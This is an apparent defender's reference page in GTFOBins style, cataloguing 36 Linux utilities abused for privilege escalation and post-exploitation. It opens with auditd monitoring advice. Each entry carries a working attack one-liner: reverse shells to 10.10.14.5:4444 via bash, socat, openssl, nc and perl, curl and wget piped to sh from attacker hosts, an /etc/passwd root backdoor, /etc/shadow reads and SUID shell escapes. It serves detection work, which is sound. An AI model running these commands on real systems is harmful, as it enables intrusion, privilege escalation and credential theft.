LinuxPlatform Command Center36 Verified Binaries Documented

Linux Living-off-the-Land Binaries (GTFOBins)

Unix and Linux system utilities with SUID, sudo, or shell escape capabilities capable of privilege escalation.

Linux Auditd & Telemetry Architecture

Configure Linux auditd rules monitoring the execve system call across standard binary directories (-a always,exit -F arch=b64 -S execve). Regularly audit SUID/SGID permissions using "find / -perm -4000 -type f 2>/dev/null" and restrict NOPASSWD entries in /etc/sudoers.

Standard Binary Locations:/usr/bin/bin/usr/sbin/sbin

linux Living-off-the-Land Catalog

36 verified utilities
1 documented tactics
T1548.001T1059.004

find

Find searches directory trees for files matching criteria. When configured with SUID permissions or sudo privileges without restrictions, its -exec flag can spawn root shells or execute arbitrary commands.

Sample Vector:
find . -name "*.conf" -exec /bin/sh -p \;
2 documented tactics
T1105T1059.004

curl

Curl is a tool to transfer data from or to a server using supported protocols (HTTP, HTTPS, FTP, etc.). Attackers leverage curl to download malicious second-stage scripts and pipe directly into bash or sh for fileless in-memory execution.

Sample Vector:
curl -fsSL https://attacker.c2/setup.sh | bash
2 documented tactics
T1059.004T1071

bash

The GNU Bourne Again SHell (bash) is the default interactive shell on most Linux distributions. Abused for spawning interactive reverse TCP shells, executing encoded base64 commands, and privilege escalation.

Sample Vector:
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
1 documented tactics
T1059.004T1071

socat

Socat is a command-line based utility that establishes two bidirectional byte streams and transfers data between them. Attackers use socat to establish encrypted TTY reverse shells and tunnel traffic across isolated network zones.

Sample Vector:
socat tcp-connect:10.10.14.5:4444 exec:"bash -li",pty,stderr,setsid,sigint,sane
1 documented tactics
T1105

wget

GNU Wget is a non-interactive network downloader. Attackers abuse wget to retrieve remote tools, exfiltrate data via POST requests, and execute downloaded scripts.

Sample Vector:
wget -q -O - http://attacker.domain/installer.sh | sh
1 documented tactics
T1059

python

Python is a high-level interpreted programming language. Frequently pre-installed on Linux systems and abused by adversaries for full-fledged reverse shells, PTY spawning, local port forwarding, and script execution.

Sample Vector:
python3 -c "import pty; pty.spawn('/bin/bash')"
1 documented tactics
T1059T1548.001

awk

AWK is a pattern scanning and processing language. Because AWK includes built-in system() functions and file operations, SUID awk or sudo privileges can be trivially abused to break out of restricted environments and spawn shells.

Sample Vector:
awk 'BEGIN {system("/bin/sh")}'
1 documented tactics
T1059.004T1548.001

tar

GNU tar is an archiving utility. Attackers abuse tar checkpoint execution options (--checkpoint-action=exec) to spawn an interactive shell or execute arbitrary commands when running with sudo or SUID permissions.

Sample Vector:
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
1 documented tactics
T1005T1140

base64

Base64 encodes or decodes standard input or files to standard output. Attackers abuse it to read sensitive files without user permissions (when SUID) or decode obfuscated payload stages.

Sample Vector:
base64 /etc/shadow | base64 --decode
1 documented tactics
T1573.002T1059.004

openssl

OpenSSL is a cryptography toolkit. Attackers leverage openssl s_client to establish encrypted TLS reverse shell sessions or exfiltrate sensitive files across monitored networks.

Sample Vector:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.5:4444 > /tmp/s; rm /tmp/s
1 documented tactics
T1059.004T1548.001

vim

Vim is an interactive screen text editor. When configured with SUID permissions or privileged sudo rights without command restrictions, attackers escape into a root shell via the :! command.

Sample Vector:
vim -c ':!/bin/sh'
1 documented tactics
T1548.001

env

Env runs a program in a modified environment. When configured with the SUID bit or unrestricted sudo access, running env to launch a shell preserves elevated root EUID permissions.

Sample Vector:
env /bin/sh -p
1 documented tactics
T1565.001T1136.001

tee

Tee reads from standard input and writes to standard output and files. Attackers abuse SUID or sudo tee to append unauthorized credentials to /etc/passwd or overwrite system configuration.

Sample Vector:
echo "backdoor:x:0:0::/root:/bin/bash" | tee -a /etc/passwd
1 documented tactics
T1059.004

nmap

Nmap is a network exploration tool and security scanner. Attackers use custom Nmap Scripting Engine (NSE) scripts to execute arbitrary root shell commands when nmap has SUID or sudo grants.

Sample Vector:
echo 'os.execute("/bin/sh")' > /tmp/payload.nse && nmap --script=/tmp/payload.nse
1 documented tactics
T1059.004T1095

nc

Netcat is a versatile networking tool for TCP and UDP communication. Attackers frequently use it in conjunction with FIFOs or the -e flag to establish interactive reverse command shells.

Sample Vector:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.5 4444 > /tmp/f
1 documented tactics
T1059.006

perl

Perl is a general-purpose programming language widely installed on Linux servers. Attackers execute socket-creation one-liners to spawn interactive reverse shells directly in memory.

Sample Vector:
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
1 documented tactics
T1059

ruby

Ruby is an interpreted programming language. Attackers use ruby -e one-liners to execute shell breakouts, spawn interactive PTY shells, or establish network socket connections.

Sample Vector:
ruby -e 'exec "/bin/sh"'
1 documented tactics
T1059.004T1548.001

gdb

GNU Debugger (gdb) allows code inspection and execution. When granted SUID permissions or privileged sudo rights, gdb can execute arbitrary shell commands prior to loading programs.

Sample Vector:
gdb -nx -ex '!sh' -ex quit
1 documented tactics
T1059.004

less

Less is an interactive terminal file pager. When invoked via sudo without secure mode, operators can escape to an interactive shell by issuing !/bin/sh from within the viewer.

Sample Vector:
less /etc/hosts
1 documented tactics
T1059.004

more

More is a terminal filter for paging text. Like less, running more on terminal outputs allows executing interactive shell escapes via !/bin/sh.

Sample Vector:
more /etc/services
1 documented tactics
T1543.002

systemctl

Systemctl controls the systemd system and service manager. Sudo privileges on systemctl allow linking or creating transient unit files that execute root commands upon service start.

Sample Vector:
systemctl link /tmp/malicious.service && systemctl start malicious
1 documented tactics
T1565.001T1548.001

cp

GNU cp copies files. When configured with SUID permissions, attackers can overwrite system authentication files like /etc/passwd or copy binaries with elevated attributes.

Sample Vector:
cp /tmp/passwd_modified /etc/passwd
1 documented tactics
T1548.001

chmod

Chmod alters file mode bits. SUID or sudo chmod is abused to turn standard shells into persistent SUID root binaries by adding the 4755 permission bit.

Sample Vector:
chmod 4755 /bin/dash
1 documented tactics
T1548.001

chown

Chown changes file owner and group. SUID chown allows users to claim ownership of root-owned scripts or binaries and subsequently modify them.

Sample Vector:
chown $(id -u):$(id -g) /etc/shadow
1 documented tactics
T1005

dd

Dd converts and copies raw files and disks. Attackers abuse SUID dd to read raw partitions, memory dumps, or extract protected shadow files.

Sample Vector:
dd if=/etc/shadow of=/tmp/shadow.bak
1 documented tactics
T1005

head

Head outputs the beginning of files. SUID head allows unauthorized users to read the initial lines of protected files like /etc/shadow or root SSH private keys.

Sample Vector:
head -n 50 /etc/shadow
1 documented tactics
T1005

tail

Tail outputs the last part of files. SUID tail allows standard users to read protected credentials, tokens, and audit log entries.

Sample Vector:
tail -n +1 /etc/shadow
1 documented tactics
T1005

nl

Nl numbers lines from files. SUID nl enables unauthorized reading of sensitive files.

Sample Vector:
nl -ba /etc/shadow
1 documented tactics
T1005

grep

Grep searches for patterns in text files. When given SUID permissions, grep can extract passwords, hashes, and tokens from restricted files.

Sample Vector:
grep "" /etc/shadow
1 documented tactics
T1005

sed

Sed is a stream editor for filtering and transforming text. SUID sed allows reading sensitive files or modifying configuration entries.

Sample Vector:
sed -e '' /etc/shadow
1 documented tactics
T1059.004T1548.001

xargs

Xargs builds and executes command lines from standard input. SUID xargs can execute an interactive root shell retaining elevated permissions.

Sample Vector:
xargs -a /dev/null /bin/sh -p
1 documented tactics
T1005

date

Date displays or sets system date and time. SUID date can be abused with the -f parameter to read files line-by-line via error messages.

Sample Vector:
date -f /etc/shadow
1 documented tactics
T1059.004T1548.001

strace

Strace intercepts and records system calls. When run with SUID permissions, strace executes target binaries with preserved root privileges.

Sample Vector:
strace -o /dev/null /bin/sh -p
1 documented tactics
T1059.004T1548.001

timeout

Timeout runs a command with a time limit. SUID timeout launches child programs with preserved elevated permissions.

Sample Vector:
timeout 7d /bin/sh -p
1 documented tactics
T1059.004T1548.001

ionice

Ionice sets or gets process I/O scheduling class and priority. SUID ionice launches child programs with elevated privileges.

Sample Vector:
ionice /bin/sh -p
1 documented tactics
T1059.004T1548.001

nice

Nice runs a program with modified scheduling priority. SUID nice spawns child programs retaining elevated EUID permissions.

Sample Vector:
nice /bin/sh -p
Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection Engineer • Check Point